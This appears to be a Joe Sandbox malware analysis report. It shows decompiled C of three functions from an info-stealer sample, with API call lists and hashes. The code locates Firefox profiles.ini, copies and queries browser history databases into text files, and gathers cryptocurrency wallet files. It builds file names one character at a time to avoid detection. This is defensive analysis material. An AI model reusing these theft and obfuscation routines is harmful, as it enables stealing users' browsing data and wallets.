API String ID: 460478976-429343355
Opcode ID: 0e14c88f101c52bd940fa358f12957f2353ba40ba4650d50f38c0916671cdb78
Instruction ID: 8b11e3209a4a7cab3bd839462d2d9b53659b4287909cbbc1eedd6a38e82d8865
Opcode Fuzzy Hash: 0e14c88f101c52bd940fa358f12957f2353ba40ba4650d50f38c0916671cdb78
Instruction Fuzzy Hash: 6F61B4B1A40318ABCB20DF60EC4DFEA7778AB48346F1045A9F50997252DA34EB91CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6A0 Relevance: 36.9, APIs: 19, Strings: 2, Instructions: 122
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041B6A0(void* __ebx, void* __edi, CHAR* __esi, intOrPtr _a4) {
				signed int _v12;
				char _v280;
				char _v544;
				void* _v1544;
				intOrPtr _v1548;
				signed int _t32;
				void* _t39;
				int _t60;
				struct HINSTANCE__* _t76;
				signed int _t90;

				_t89 = __esi;
				_t88 = __edi;
				_t66 = __ebx;
				_t32 =  *0x450664; // 0x30e242aa
				_v12 = _t32 ^ _t90;
				_v1548 = _a4;
				L00429B30( &_v544, 0, 0x104);
				L00429B30( &_v280, 0, 0x104);
				L00429B30( &_v1544, 0, 0x3e8);
				_t39 =  *0x4534c0(0, 0x1a, 0, 0,  &_v1544); // executed
				lstrcatA( &_v544,  &_v1544 & (0 | _t39 < 0x00000000) - 0x00000001);
				lstrcatA( &_v544, __esi);
				lstrcatA( &_v280,  &_v544);
				lstrcatA( &_v280, "..\\");
				lstrcatA( &_v280, "p");
				lstrcatA( &_v280, "r");
				lstrcatA( &_v280, "o");
				lstrcatA( &_v280, "f");
				lstrcatA( &_v280, "i");
				lstrcatA( &_v280, "l");
				lstrcatA( &_v280, "e");
				lstrcatA( &_v280, "s");
				_t87 =  &_v280;
				lstrcatA( &_v280, ".ini");
				_t60 = GetFileAttributesA( &_v280); // executed
				if(_t60 != 0xffffffff) {
					_t97 = _t60 & 0x00000010;
					if((_t60 & 0x00000010) == 0) {
						E0040F280(_t97);
						if(L0041B4F0(__ebx, __edi) != 0) {
							_t87 =  *((intOrPtr*)(__edi + 0x20));
							E00417370(__edi, 0x4485e7,  &_v544, __ebx,  *((intOrPtr*)(__edi + 0x20)), _v1548);
						}
						_t76 =  *0x4532fc; // 0x0
						_t60 = FreeLibrary(_t76);
					}
				}
				return E00429B16(_t60, _t66, _v12 ^ _t90, _t87, _t88, _t89);
			}

0x0041b6a0
0x0041b6a0
0x0041b6a0
0x0041b6a9
0x0041b6b0
0x0041b6c4
0x0041b6ca
0x0041b6e0
0x0041b6f6
0x0041b70d
0x0041b72b
0x0041b739
0x0041b74d
0x0041b75f
0x0041b771
0x0041b783
0x0041b795
0x0041b7a7
0x0041b7b9
0x0041b7cb
0x0041b7dd
0x0041b7ef
0x0041b7fa
0x0041b801
0x0041b80e
0x0041b817
0x0041b819
0x0041b81b
0x0041b81d
0x0041b829
0x0041b831
0x0041b845
0x0041b845
0x0041b84a
0x0041b851
0x0041b851
0x0041b81b
0x0041b864

APIs

_memset.LIBCMT ref: 0041B6CA
_memset.LIBCMT ref: 0041B6E0
_memset.LIBCMT ref: 0041B6F6
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 0041B70D
lstrcatA.KERNEL32(?,?), ref: 0041B72B
lstrcatA.KERNEL32(?,05098BD8), ref: 0041B739
lstrcatA.KERNEL32(?,?), ref: 0041B74D
lstrcatA.KERNEL32(?,..\), ref: 0041B75F
lstrcatA.KERNEL32(?,0044B238), ref: 0041B771
lstrcatA.KERNEL32(?,0044B23C), ref: 0041B783
lstrcatA.KERNEL32(?,0044B240), ref: 0041B795
lstrcatA.KERNEL32(?,0044B244), ref: 0041B7A7
lstrcatA.KERNEL32(?,0044B248), ref: 0041B7B9
lstrcatA.KERNEL32(?,0044AA7C), ref: 0041B7CB
lstrcatA.KERNEL32(?,0044AA80), ref: 0041B7DD
lstrcatA.KERNEL32(?,0044AA88), ref: 0041B7EF
lstrcatA.KERNEL32(?,.ini), ref: 0041B801
GetFileAttributesA.KERNEL32(?), ref: 0041B80E

Part of subcall function 0040F280: _strlen.LIBCMT ref: 0040F2C5
Part of subcall function 0040F280: GetProcessHeap.KERNEL32(00000000,?,050987D8,00000000), ref: 0040F35F
Part of subcall function 0040F280: RtlAllocateHeap.NTDLL(00000000), ref: 0040F366
Part of subcall function 0040F280: GetProcessHeap.KERNEL32(00000000,?), ref: 0040F406
Part of subcall function 0040F280: RtlAllocateHeap.NTDLL(00000000), ref: 0040F40D

Part of subcall function 0041B4F0: GetEnvironmentVariableA.KERNEL32(PATH,00453FF0,0000FFFF,05098BD8,?,0041B827), ref: 0041B525
Part of subcall function 0041B4F0: _memset.LIBCMT ref: 0041B539
Part of subcall function 0041B4F0: lstrcatA.KERNEL32(?,00453FF0), ref: 0041B54D
Part of subcall function 0041B4F0: lstrcatA.KERNEL32(?,0044A7E4), ref: 0041B55F
Part of subcall function 0041B4F0: lstrcatA.KERNEL32(?,050987D8), ref: 0041B56D
Part of subcall function 0041B4F0: SetEnvironmentVariableA.KERNEL32(PATH,?), ref: 0041B57F
Part of subcall function 0041B4F0: _memset.LIBCMT ref: 0041B593
Part of subcall function 0041B4F0: LoadLibraryA.KERNEL32(05091668), ref: 0041B5A1
Part of subcall function 0041B4F0: GetProcAddress.KERNEL32(00000000,0509ACE0), ref: 0041B5BC
Part of subcall function 0041B4F0: GetProcAddress.KERNEL32(00000000,0509AD88), ref: 0041B5D4
Part of subcall function 0041B4F0: GetProcAddress.KERNEL32(00000000,050915A8), ref: 0041B5ED
Part of subcall function 0041B4F0: GetProcAddress.KERNEL32(00000000,0509AC50), ref: 0041B605
Part of subcall function 0041B4F0: GetProcAddress.KERNEL32(00000000,05091328), ref: 0041B61D
Part of subcall function 0041B4F0: GetProcAddress.KERNEL32(00000000,0509AC68), ref: 0041B636

FreeLibrary.KERNEL32(00000000), ref: 0041B851

Part of subcall function 00417370: wsprintfA.USER32 ref: 004173C0
Part of subcall function 00417370: FindFirstFileA.KERNEL32(?,?), ref: 004173D7
Part of subcall function 00417370: StrCmpCA.SHLWAPI(?,0044A810), ref: 004173FC
Part of subcall function 00417370: StrCmpCA.SHLWAPI(?,0044A814), ref: 00417416
Part of subcall function 00417370: wsprintfA.USER32 ref: 0041743E
Part of subcall function 00417370: StrCmpCA.SHLWAPI(?,0509CDB8), ref: 00417454
Part of subcall function 00417370: FindNextFileA.KERNEL32(?,?), ref: 004175C4
Part of subcall function 00417370: FindClose.KERNEL32(?), ref: 004175D9

Strings

.ini, xrefs: 0041B7F5
..\, xrefs: 0041B753

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$AddressProc$_memset$Heap$FileFind$AllocateEnvironmentLibraryProcessVariablewsprintf$AttributesCloseFirstFolderFreeLoadNextPath_strlen
String ID: ..\$.ini
API String ID: 1836678299-2443844595
Opcode ID: ad337ef025197aa5ecc63e255ec0cc4f159977f8282a4a2fa67b0835c78edf9c
Instruction ID: 88ae8a36f4d7dd94b7daaf2739224618258ccc833157855af0d034c247ec5629
Opcode Fuzzy Hash: ad337ef025197aa5ecc63e255ec0cc4f159977f8282a4a2fa67b0835c78edf9c
Instruction Fuzzy Hash: DC41B37294031CABD724DFA0DD4AFEA7339FB48B46F004599B20596081DB79EB44CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00415E60 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169
stringmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E00415E60(CHAR* __ebx, intOrPtr __ecx, intOrPtr* __edx, char _a4) {
				signed int _v8;
				char _v276;
				char _v540;
				CHAR* _v544;
				char _v548;
				char _v552;
				intOrPtr _v556;
				intOrPtr* _v560;
				void* __edi;
				void* __esi;
				signed int _t40;
				signed int _t41;
				signed int _t49;
				void* _t59;
				int _t61;
				long _t64;
				void* _t68;
				void* _t69;
				int _t70;
				void* _t80;
				CHAR* _t83;
				intOrPtr* _t93;
				intOrPtr _t102;
				void* _t107;
				void* _t108;
				void* _t109;
				CHAR* _t110;
				signed int _t111;
				void* _t112;
				void* _t115;
				void* _t117;
				void* _t118;
				void* _t121;
				signed int _t123;

				_t81 = __ebx;
				_t40 =  *0x450664; // 0x30e242aa
				_t41 = _t40 ^ _t111;
				_t123 = _t41;
				_v8 = _t41;
				_t2 =  &_a4; // 0x41723c
				_v544 =  *_t2;
				_v556 = __ecx;
				_v560 = __edx;
				L00429B30( &_v276, 0, 0x104);
				_t83 =  *0x453058; // 0x50987d8
				lstrcatA( &_v276, _t83);
				_t110 = E0042A0BB( &_v276, _t107, _t109, 0x1a);
				 *_t110 = 0;
				L0042D41F(GetTickCount());
				_t115 = _t112 + 0x14;
				_t108 = 0x1a;
				do {
					_t49 = L0042D431(_t123);
					asm("cdq");
					_push(_t49 % 0xa);
					_push(_t110);
					wsprintfA(_t110, "%s%d");
					_t115 = _t115 + 0x10;
					_t108 = _t108 - 1;
				} while (_t108 != 0);
				_t110[0x1a] = 0;
				lstrcatA( &_v276, _t110);
				CopyFileA(__ebx,  &_v276, 1); // executed
				L00429B30( &_v540, _t108, 0x104);
				wsprintfA( &_v540, "\\History\\%s_%s.txt", _v556, _v544);
				_t101 =  &_v552;
				_t59 =  *0x453304( &_v276,  &_v552); // executed
				_t117 = _t115 + 0x24;
				if(_t59 != 0) {
					L13:
					_t61 = DeleteFileA( &_v276); // executed
					return E00429B16(_t61, _t81, _v8 ^ _t111, _t101, _t108, _t110);
				}
				_t102 =  *0x452e80; // 0x5090f88
				_t64 =  *0x4532b8(_v552, _t102, 0xffffffff,  &_v548, _t59); // executed
				_t118 = _t117 + 0x14;
				if(_t64 != 0) {
					L12:
					 *0x4532d8(_v548);
					_t101 = _v552;
					 *0x453308(_v552);
					goto L13;
				}
				_t68 = RtlAllocateHeap(GetProcessHeap(), _t64, 0xf423f); // executed
				_v544 = _t68;
				_t69 =  *0x4532d4(_v548); // executed
				_t121 = _t118 + 4;
				if(_t69 != 0x64) {
					L6:
					_t70 = lstrlenA(_v544);
					_t93 = _v560;
					if(_t93 != 0) {
						__eflags =  *_t93 - 2;
						if( *_t93 == 2) {
							 *0x4537d4 = E00428410( *((intOrPtr*)(_t93 + 4)), _v544,  &_v540, _t70, 3);
						} else {
							 *0x4537d4 = 0x80000;
						}
					} else {
						 *0x4537d4 = 0x10000;
					}
					L00429B30( &_v544, 0, 4);
					_t118 = _t121 + 0xc;
					goto L12;
				} else {
					goto L5;
				}
				do {
					L5:
					 *0x4532f4(_v548, 0);
					lstrcatA(_v544,  *0x4532f4(_v548, 0));
					lstrcatA(_v544, "\n");
					_t80 =  *0x4532d4(_v548);
					_t121 = _t121 + 0x14;
				} while (_t80 == 0x64);
				goto L6;
			}

0x00415e60
0x00415e69
0x00415e6e
0x00415e6e
0x00415e70
0x00415e73
0x00415e7d
0x00415e8c
0x00415e92
0x00415e98
0x00415e9d
0x00415eae
0x00415ebb
0x00415ec0
0x00415eca
0x00415ecf
0x00415ed2
0x00415ed7
0x00415ed7
0x00415edc
0x00415ee4
0x00415ee5
0x00415eec
0x00415ef2
0x00415ef5
0x00415ef5
0x00415f00
0x00415f04
0x00415f14
0x00415f27
0x00415f49
0x00415f4f
0x00415f5d
0x00415f63
0x00415f68
0x0041609f
0x004160a6
0x004160bb
0x004160bb
0x00415f6e
0x00415f86
0x00415f8c
0x00415f91
0x0041607f
0x00416086
0x0041608c
0x00416096
0x00000000
0x0041609c
0x00415fa4
0x00415fb1
0x00415fb7
0x00415fbd
0x00415fc3
0x0041601b
0x00416022
0x00416028
0x00416030
0x0041603e
0x00416041
0x00416067
0x00416043
0x00416043
0x00416043
0x00416032
0x00416032
0x00416032
0x00416077
0x0041607c
0x00000000
0x00000000
0x00000000
0x00000000
0x00415fc5
0x00415fc5
0x00415fce
0x00415fee
0x00416000
0x0041600d
0x00416013
0x00416016
0x00000000

APIs

_memset.LIBCMT ref: 00415E98
lstrcatA.KERNEL32(?,050987D8,?,?,?), ref: 00415EAE
_malloc.LIBCMT ref: 00415EB6

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetTickCount.KERNEL32 ref: 00415EC3

Part of subcall function 0042D41F: __getptd.LIBCMT ref: 0042D424

_rand.LIBCMT ref: 00415ED7

Part of subcall function 0042D431: __getptd.LIBCMT ref: 0042D431

wsprintfA.USER32 ref: 00415EEC
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00415F04
CopyFileA.KERNEL32(?,?,00000001,?,?,?,?,?,?,?,?,?), ref: 00415F14
_memset.LIBCMT ref: 00415F27
wsprintfA.USER32 ref: 00415F49
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00415F9D
RtlAllocateHeap.NTDLL(00000000), ref: 00415FA4
lstrcatA.KERNEL32(?,00000000), ref: 00415FEE
lstrcatA.KERNEL32(?,004485E8), ref: 00416000
lstrlenA.KERNEL32(?), ref: 00416022
_memset.LIBCMT ref: 00416077
DeleteFileA.KERNEL32(?), ref: 004160A6

Strings

<rA, xrefs: 00415E73
\History\%s_%s.txt, xrefs: 00415F43
%s%d, xrefs: 00415EE6

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap_memset$AllocateFile__getptdwsprintf$CopyCountDeleteProcessTick_malloc_randlstrlen
String ID: %s%d$<rA$\History\%s_%s.txt
API String ID: 460478976-4048138842
Opcode ID: 1016a7ce5676568907378e6b0613275acc7fe66c8a10c01fbe29710d7a4aa2b7
Instruction ID: c739a527b13af17f93189f25100b0709f827b0840a836360a3b74181018857e2
Opcode Fuzzy Hash: 1016a7ce5676568907378e6b0613275acc7fe66c8a10c01fbe29710d7a4aa2b7
Instruction Fuzzy Hash: 9851F6B1A00318BBCB20DF64EC4DFEA7778AB48302F1045A9F50997252DA74EB90CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00410EA0 Relevance: 35.1, APIs: 23, Instructions: 573
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00410EA0(intOrPtr _a4, intOrPtr _a8, char _a12, struct _SECURITY_ATTRIBUTES* _a28, char _a32, CHAR* _a40, struct _SECURITY_ATTRIBUTES* _a56, char _a60, char _a68, intOrPtr _a88) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v288;
				void* _v1288;
				intOrPtr _v1296;
				struct _SECURITY_ATTRIBUTES* _v1300;
				char _v1316;
				intOrPtr _v1324;
				struct _SECURITY_ATTRIBUTES* _v1328;
				char _v1344;
				char _v1352;
				struct _SECURITY_ATTRIBUTES* _v1356;
				char _v1372;
				char _v1380;
				struct _SECURITY_ATTRIBUTES* _v1384;
				char _v1400;
				intOrPtr _v1408;
				char _v1428;
				char _v1436;
				struct _SECURITY_ATTRIBUTES* _v1440;
				char _v1456;
				char _v1464;
				struct _SECURITY_ATTRIBUTES* _v1468;
				char _v1484;
				intOrPtr _v1492;
				struct _SECURITY_ATTRIBUTES* _v1496;
				short _v1512;
				char _v1520;
				struct _SECURITY_ATTRIBUTES* _v1524;
				char _v1540;
				char _v1548;
				struct _SECURITY_ATTRIBUTES* _v1552;
				char _v1568;
				char _v1576;
				struct _SECURITY_ATTRIBUTES* _v1580;
				char _v1596;
				short* _v1600;
				intOrPtr _v1604;
				intOrPtr _v1608;
				struct _SECURITY_ATTRIBUTES* _v1616;
				struct _SECURITY_ATTRIBUTES* _v1620;
				void* _v1624;
				char _v1632;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t232;
				signed int _t233;
				signed int _t238;
				void* _t243;
				short* _t247;
				void* _t262;
				void* _t264;
				intOrPtr* _t266;
				void* _t269;
				void* _t271;
				void* _t274;
				WCHAR* _t275;
				signed char _t276;
				CHAR* _t291;
				CHAR* _t295;
				void* _t299;
				void* _t301;
				CHAR* _t303;
				void* _t304;
				void* _t306;
				void* _t308;
				intOrPtr* _t310;
				intOrPtr _t311;
				intOrPtr _t313;
				intOrPtr _t329;
				void* _t346;
				void* _t351;
				struct _SECURITY_ATTRIBUTES* _t357;
				intOrPtr* _t378;
				char _t419;
				void* _t420;
				intOrPtr _t421;
				intOrPtr* _t425;
				void* _t429;
				void* _t433;
				void* _t440;
				short* _t441;
				signed int _t443;
				void* _t444;
				void* _t445;
				void* _t446;
				intOrPtr _t448;
				void* _t451;
				void* _t453;
				void* _t454;
				void* _t456;

				_push(0xffffffff);
				_push(0x43ed2e);
				_push( *[fs:0x0]);
				_t445 = _t444 - 0x650;
				_t232 =  *0x450664; // 0x30e242aa
				_t233 = _t232 ^ _t443;
				_v24 = _t233;
				_push(_t233);
				 *[fs:0x0] =  &_v16;
				_v1604 = _a4;
				_v8 = 0;
				_v1352 = 0xf;
				_v1356 = 0;
				_v1372 = 0;
				_push(0x3e8);
				_v8 = 3;
				_push(0);
				if(_a8 == 0) {
					L00429B30();
					_t446 = _t445 + 0xc;
					_t238 =  *0x4534c0(0, 0x1a, 0, 0,  &_v1288,  &_v1288);
					__eflags = _t238;
					_t22 = (0 | _t238 < 0x00000000) - 1; // -1
					_t418 = _t22 &  &_v1288;
					__eflags = _t22 &  &_v1288;
				} else {
					L00429B30();
					_t446 = _t445 + 0xc;
					_t346 =  *0x4534c0(0, 0x1c, 0, 0,  &_v1288,  &_v1288);
					_t459 = _t346;
					_t16 = (0 | _t346 < 0x00000000) - 1; // -1
					_t418 = _t16 &  &_v1288;
				}
				E004050C0( &_v1372, _t418, L00429C90(_t418));
				_t395 =  &_v1372;
				_t243 = E00410A80( &_v1484,  &_v1372,  &_a12);
				_t448 = _t446 + 4 - 0x10;
				_v8 = 4;
				_v1608 = _t448;
				L00413440( &_a68, _t448, _t243);
				E00420890( &_v1624, _t459); // executed
				_t419 = 0x10;
				_v8 = 6;
				if(_v1464 >= 0x10) {
					_push(_v1484);
					E00429B0B();
					_t448 = _t448 + 4;
				}
				_t357 = _v1620;
				_t247 = _v1624;
				_v1464 = 0xf;
				_v1468 = 0;
				_v1484 = 0;
				_v1608 = _t357;
				_v1600 = _t247;
				if(_t247 == _t357) {
					L68:
					if(_t247 == 0) {
						L75:
						_v1624 = 0;
						_v1620 = 0;
						_v1616 = 0;
						if(_v1352 >= _t419) {
							_push(_v1372);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_v1352 = 0xf;
						_v1356 = 0;
						_v1372 = 0;
						if(_a32 >= _t419) {
							_t395 = _a12;
							_push(_a12);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_a32 = 0xf;
						_a28 = 0;
						_a12 = 0;
						if(_a60 >= _t419) {
							_push(_a40);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_a60 = 0xf;
						_a56 = 0;
						_a40 = 0;
						if(_a88 >= _t419) {
							_push(_a68);
							E00429B0B();
						}
						 *[fs:0x0] = _v16;
						_pop(_t420);
						_pop(_t440);
						_pop(_t351);
						return E00429B16(0, _t351, _v24 ^ _t443, _t395, _t420, _t440);
					}
					_t421 = _t357;
					_t441 = _t247;
					if(_t247 == _t357) {
						L74:
						_push(_t247);
						E00429B0B();
						_t448 = _t448 + 4;
						_t419 = 0x10;
						goto L75;
					} else {
						goto L70;
					}
					do {
						L70:
						if( *((intOrPtr*)(_t441 + 0x14)) >= 8) {
							_t395 =  *_t441;
							_push( *_t441);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						 *((intOrPtr*)(_t441 + 0x14)) = 7;
						 *((intOrPtr*)(_t441 + 0x10)) = 0;
						 *_t441 = 0;
						_t441 = _t441 + 0x1c;
					} while (_t441 != _t421);
					_t247 = _v1624;
					goto L74;
				} else {
					do {
						_v1436 = 7;
						_v1440 = 0;
						_v1456 = 0;
						E004130C0( &_v1456, _v1600, 0);
						_v8 = 7;
						_t262 = L00420540( &_v1456,  &_v1540);
						_v8 = 8;
						_t264 = E00410A80( &_v1596,  &_v1372,  &_a12);
						_v8 = 9;
						_t266 = L00405600(_t262, _t264,  &_v1568);
						_t451 = _t448 + 0x10;
						_t425 = _t266;
						_v1380 = 0xf;
						_v1384 = 0;
						_v1400 = 0;
						if( &_v1400 != _t425) {
							_v1380 = 0xf;
							_v1384 = 0;
							_v1400 = 0;
							if( *((intOrPtr*)(_t425 + 0x14)) >= 0x10) {
								_v1400 =  *_t425;
								 *_t425 = 0;
							} else {
								E0042A2D0( &_v1400, _t425,  *((intOrPtr*)(_t425 + 0x10)) + 1);
								_t451 = _t451 + 0xc;
							}
							_v1384 =  *((intOrPtr*)(_t425 + 0x10));
							_v1380 =  *((intOrPtr*)(_t425 + 0x14));
							 *((intOrPtr*)(_t425 + 0x10)) = 0;
							 *((intOrPtr*)(_t425 + 0x14)) = 0;
						}
						if(_v1548 >= 0x10) {
							_push(_v1568);
							E00429B0B();
							_t451 = _t451 + 4;
						}
						_v1548 = 0xf;
						_v1552 = 0;
						_v1568 = 0;
						if(_v1576 >= 0x10) {
							_push(_v1596);
							E00429B0B();
							_t451 = _t451 + 4;
						}
						_v1576 = 0xf;
						_v1580 = 0;
						_v1596 = 0;
						_v8 = 0xe;
						if(_v1520 >= 0x10) {
							_push(_v1540);
							E00429B0B();
							_t451 = _t451 + 4;
						}
						_v1520 = 0xf;
						_v1524 = 0;
						_v1540 = 0;
						_t269 = L00420540( &_v1456,  &_v1428);
						_v8 = 0xf;
						_t271 = E00410A80( &_v1344,  &_v1372,  &_a12);
						_v8 = 0x10;
						_t274 = L00405600(_t269, _t271,  &_v1316);
						_t453 = _t451 + 0x10;
						_v8 = 0x11;
						_t275 = L004205E0(_t274,  &_v1512);
						if(_t275[0xa] >= 8) {
							_t275 =  *_t275;
						}
						_t276 = GetFileAttributesW(_t275); // executed
						if(_t276 == 0xffffffff || (_t276 & 0x00000010) != 0) {
							_t429 = 0;
							__eflags = 0;
						} else {
							_t429 = 1;
						}
						if(_v1492 >= 8) {
							_push(_v1512);
							E00429B0B();
							_t453 = _t453 + 4;
						}
						_v1492 = 7;
						_v1496 = 0;
						_v1512 = 0;
						if(_v1296 >= 0x10) {
							_push(_v1316);
							E00429B0B();
							_t453 = _t453 + 4;
						}
						_v1296 = 0xf;
						_v1300 = 0;
						_v1316 = 0;
						if(_v1324 >= 0x10) {
							_push(_v1344);
							E00429B0B();
							_t453 = _t453 + 4;
						}
						_v8 = 0xe;
						_v1324 = 0xf;
						_v1328 = 0;
						_v1344 = 0;
						if(_v1408 >= 0x10) {
							_push(_v1428);
							E00429B0B();
							_t453 = _t453 + 4;
						}
						if(_t429 != 0) {
							_t329 = _v1604;
							 *((intOrPtr*)(_t329 + 0x1c)) =  *((intOrPtr*)(_t329 + 0x1c)) + 1;
							 *0x4532b4 =  *0x4532b4 +  *((intOrPtr*)(_t329 + 0x1c));
							 *0x4532a0 =  *0x4532a0 + 1;
						}
						L00429B30( &_v288, 0, 0x104);
						_t454 = _t453 + 0xc;
						lstrcatA( &_v288, "\\");
						lstrcatA( &_v288, "W");
						lstrcatA( &_v288, "a");
						lstrcatA( &_v288, "l");
						lstrcatA( &_v288, "l");
						lstrcatA( &_v288, "e");
						lstrcatA( &_v288, "t");
						lstrcatA( &_v288, "s");
						lstrcatA( &_v288, "\\");
						_t291 = _a40;
						if(_a60 < 0x10) {
							_t291 =  &_a40;
						}
						lstrcatA( &_v288, _t291);
						lstrcatA( &_v288, "\\");
						_t295 = L00420540( &_v1456,  &_v1428);
						_v8 = 0x12;
						if(_t295[0x14] >= 0x10) {
							_t295 =  *_t295;
						}
						lstrcatA( &_v288, _t295);
						_v8 = 0xe;
						if(_v1408 >= 0x10) {
							_push(_v1428);
							E00429B0B();
							_t454 = _t454 + 4;
						}
						_t299 = L00420540( &_v1456,  &_v1428);
						_v8 = 0x13;
						_t301 = E00410A80( &_v1316,  &_v1372,  &_a12);
						_v8 = 0x14;
						_t303 = L00405600(_t299, _t301,  &_v1344);
						_t456 = _t454 + 0x10;
						_v8 = 0x15;
						if(_t303[0x14] >= 0x10) {
							_t303 =  *_t303;
						}
						_t304 = CreateFileA(_t303, 0x80000000, 3, 0, 3, 0x80, 0); // executed
						_t433 = _t304;
						if(_t433 != 0xffffffff) {
							 *0x45332c(_t433,  &_v1632);
							CloseHandle(_t433);
						}
						if(_v1324 >= 0x10) {
							_push(_v1344);
							E00429B0B();
							_t456 = _t456 + 4;
						}
						_v1324 = 0xf;
						_v1328 = 0;
						_v1344 = 0;
						if(_v1296 >= 0x10) {
							_push(_v1316);
							E00429B0B();
							_t456 = _t456 + 4;
						}
						_v8 = 0xe;
						_v1296 = 0xf;
						_v1300 = 0;
						_v1316 = 0;
						if(_v1408 >= 0x10) {
							_push(_v1428);
							E00429B0B();
							_t456 = _t456 + 4;
						}
						_t306 = L00420540( &_v1456,  &_v1428);
						_v8 = 0x16;
						_t308 = E00410A80( &_v1316,  &_v1372,  &_a12);
						_t395 =  &_v1344;
						_v8 = 0x17;
						_t310 = L00405600(_t306, _t308,  &_v1344);
						_t448 = _t456 + 0x10;
						_v8 = 0x18;
						if( *((intOrPtr*)(_t310 + 0x14)) >= 0x10) {
							_t310 =  *_t310;
						}
						_t378 =  *((intOrPtr*)(_v1604 + 0x20));
						if(_t378 != 0) {
							__eflags =  *_t378 - 2;
							if( *_t378 == 2) {
								_t395 = _t310; // executed
								_t311 = E00428410( *((intOrPtr*)(_t378 + 4)), _t310,  &_v288, 0, 2); // executed
								 *0x4537d4 = _t311;
							} else {
								 *0x4537d4 = 0x80000;
							}
						} else {
							 *0x4537d4 = 0x10000;
						}
						if(_v1324 >= 0x10) {
							_push(_v1344);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_v1324 = 0xf;
						_v1328 = 0;
						_v1344 = 0;
						if(_v1296 >= 0x10) {
							_push(_v1316);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_v1296 = 0xf;
						_v1300 = 0;
						_v1316 = 0;
						if(_v1408 >= 0x10) {
							_t395 = _v1428;
							_push(_v1428);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						if(_v1380 >= 0x10) {
							_push(_v1400);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_v8 = 6;
						if(_v1436 >= 8) {
							_push(_v1456);
							E00429B0B();
							_t448 = _t448 + 4;
						}
						_t313 = _v1600 + 0x1c;
						_v1600 = _t313;
					} while (_t313 != _v1608);
					_t357 = _v1620;
					_t247 = _v1624;
					_t419 = 0x10;
					goto L68;
				}
			}

0x00410ea3
0x00410ea5
0x00410eb0
0x00410eb1
0x00410eb7
0x00410ebc
0x00410ebe
0x00410ec4
0x00410ec8
0x00410ed1
0x00410ed9
0x00410edc
0x00410ee6
0x00410eec
0x00410ef2
0x00410ef7
0x00410efb
0x00410eff
0x00410f3d
0x00410f42
0x00410f51
0x00410f59
0x00410f64
0x00410f67
0x00410f67
0x00410f01
0x00410f08
0x00410f0d
0x00410f1c
0x00410f24
0x00410f2f
0x00410f32
0x00410f32
0x00410f7a
0x00410f83
0x00410f91
0x00410f98
0x00410f9b
0x00410fa4
0x00410faa
0x00410fb5
0x00410fba
0x00410fbf
0x00410fc9
0x00410fd1
0x00410fd2
0x00410fd7
0x00410fd7
0x00410fda
0x00410fe0
0x00410fe8
0x00410ff2
0x00410ff8
0x00410ffe
0x00411004
0x0041100c
0x00411647
0x00411649
0x0041168e
0x0041168e
0x00411694
0x0041169a
0x004116a6
0x004116ae
0x004116af
0x004116b4
0x004116b4
0x004116b7
0x004116c1
0x004116c7
0x004116d0
0x004116d2
0x004116d5
0x004116d6
0x004116db
0x004116db
0x004116de
0x004116e5
0x004116e8
0x004116ee
0x004116f3
0x004116f4
0x004116f9
0x004116f9
0x004116fc
0x00411703
0x00411706
0x0041170c
0x00411711
0x00411712
0x00411717
0x0041171f
0x00411727
0x00411728
0x00411729
0x00411737
0x00411737
0x0041164b
0x0041164d
0x00411651
0x00411680
0x00411680
0x00411681
0x00411686
0x00411689
0x00000000
0x00000000
0x00000000
0x00000000
0x00411653
0x00411653
0x00411657
0x00411659
0x0041165b
0x0041165c
0x00411661
0x00411661
0x00411666
0x0041166d
0x00411670
0x00411673
0x00411676
0x0041167a
0x00000000
0x00411012
0x00411012
0x00411025
0x0041102f
0x00411035
0x0041103c
0x00411049
0x0041104d
0x00411066
0x0041106a
0x0041107d
0x00411081
0x00411086
0x00411089
0x00411096
0x0041109c
0x004110a2
0x004110ad
0x004110af
0x004110b5
